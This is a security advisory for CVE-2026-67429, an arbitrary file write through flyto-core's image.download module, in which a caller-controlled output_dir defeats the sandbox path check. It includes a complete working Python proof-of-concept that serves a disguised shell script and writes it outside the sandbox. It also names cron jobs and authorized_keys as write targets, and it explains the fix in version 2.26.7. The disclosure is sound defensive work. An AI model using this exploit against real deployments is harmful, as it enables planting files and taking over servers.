critical · 10CVE-2026-67429Jul 30, 2026

CVE-2026-67429: flyto-core Arbitrary File Write via image.download

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

A path-traversal flaw in flyto-core lets an attacker write any content to any path on the server by pointing image.download at an attacker-controlled URL and passing a root-anchored output_dir…

Packageflyto-core
Ecosystempip
Affected< 2.26.7
Fixed in2.26.7
CVE-2026-67429: flyto-core Arbitrary File Write via image.download

The problem

flyto-core exposes every registered module as an MCP tool and HTTP API endpoint. The image.download module fetches a caller-supplied URL and writes the response to disk, but it validates the output path against a caller-supplied output_dir base rather than the operator-pinned FLYTO_SANDBOX_DIR.

Because the attacker controls both the target path and the base it is checked against, the os.path.commonpath guard is trivially defeated by passing output_dir='/'. The result is arbitrary bytes (the full HTTP response from an attacker-hosted server) written to any path the process can reach, including cron jobs, shell profiles, authorized_keys, or Python modules on the import path.

Proof of concept

A working proof-of-concept for CVE-2026-67429 in flyto-core, with the exact payload below.

python
import asyncio, os, tempfile, threading
from http.server import BaseHTTPRequestHandler, HTTPServer

os.environ["FLYTO_ALLOWED_HOSTS"] = "localhost"
EVIL = b"#!/bin/sh\necho pwned\n"

class Content(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.send_header("Content-Type", "image/jpeg")
        self.send_header("Content-Length", str(len(EVIL)))
        self.end_headers()
        self.wfile.write(EVIL)
    def log_message(self, *a): pass

async def main():
    from core.modules.atomic import register_all
    from core.modules.registry import ModuleRegistry
    register_all()
    threading.Thread(
        target=HTTPServer(("127.0.0.1", 8080), Content).serve_forever,
        daemon=True
    ).start()

    root   = tempfile.mkdtemp(prefix="flyto_poc_")
    sandbox = os.path.join(root, "sandbox"); os.makedirs(sandbox)
    escape  = os.path.join(root, "ESCAPE");  os.makedirs(escape)
    os.environ["FLYTO_SANDBOX_DIR"] = sandbox
    target = os.path.join(escape, "pwned")   # outside the sandbox

    # file.write correctly refuses the out-of-sandbox path
    # image.download writes attacker bytes there
    result = await ModuleRegistry.execute(
        "image.download",
        params={
            "url":        "http://localhost:8080/x.jpg",
            "output_dir": escape,   # attacker sets both base ...
            "output_path": target   # ... and target: check always passes
        },
        context={}
    )
    print(result)   # {'ok': True, 'path': '<root>/ESCAPE/pwned', ...}
    print(open(target, "rb").read())  # b'#!/bin/sh\necho pwned\n'

asyncio.run(main())

The root cause is CWE-73 (External Control of File Name or Path) compounding CWE-22. The commonpath check in download.py is structurally correct, but its security value depends entirely on the base being fixed. Because output_dir is taken directly from caller-supplied params, setting it to / (or to any directory that contains the intended target) always satisfies commonpath([base_real, target_real]) == base_real.

The sibling module file.write avoids this by calling validate_path_with_env_config(), which anchors the base to the operator-set FLYTO_SANDBOX_DIR that the caller cannot influence. The patch applies the same guard to image.download and the other affected file-writing modules (image.convert, image.resize, image.crop, image.compress, image.rotate, image.watermark, image.qrcode_generate, document.excel_write, document.pdf_fill_form, document.word_to_pdf, document.pdf_to_word, browser.pagination), replacing per-module output_dir checks with the centralised sandbox guard.

The fix

Upgrade flyto-core to 2.26.7 (patch commit d5f89d71303e3c1e6418d347c5c55fcd173cc8cc). The fix replaces the caller-controlled output_dir confinement in all file-writing modules with a call to validate_path_with_env_config(), which anchors every write to FLYTO_SANDBOX_DIR.

If you cannot upgrade immediately, set FLYTO_SANDBOX_DIR to a tight, operator-controlled directory and ensure no untrusted input reaches output_dir or output_path parameters through MCP or the HTTP API.

Reporter not attributed.

References: [1][2][3][4][5]

Related research